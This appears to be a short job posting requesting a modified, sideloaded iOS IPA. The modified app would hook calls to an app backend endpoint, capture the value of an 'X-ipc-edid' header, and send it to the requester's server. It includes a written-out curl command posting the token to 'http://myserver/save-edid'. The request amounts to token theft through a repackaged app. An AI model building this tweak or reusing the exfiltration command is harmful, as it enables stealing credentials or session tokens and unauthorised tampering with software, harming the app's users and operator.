iOS App Sideloading and Modification

I need an iOS app tweak and sideloading into an IPA file. The modification should detect if the app calls the "/app-backend/api" endpoint.

Requirements:
- Check for "X-ipc-edid" header
- Grab its value and send to my server

API to send data:
```bash
curl -X 'POST' \
'http://myserver/save-edid' \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-d '{
"edid": "edid token here"
}'
```

Deliverable: Modified IPA file
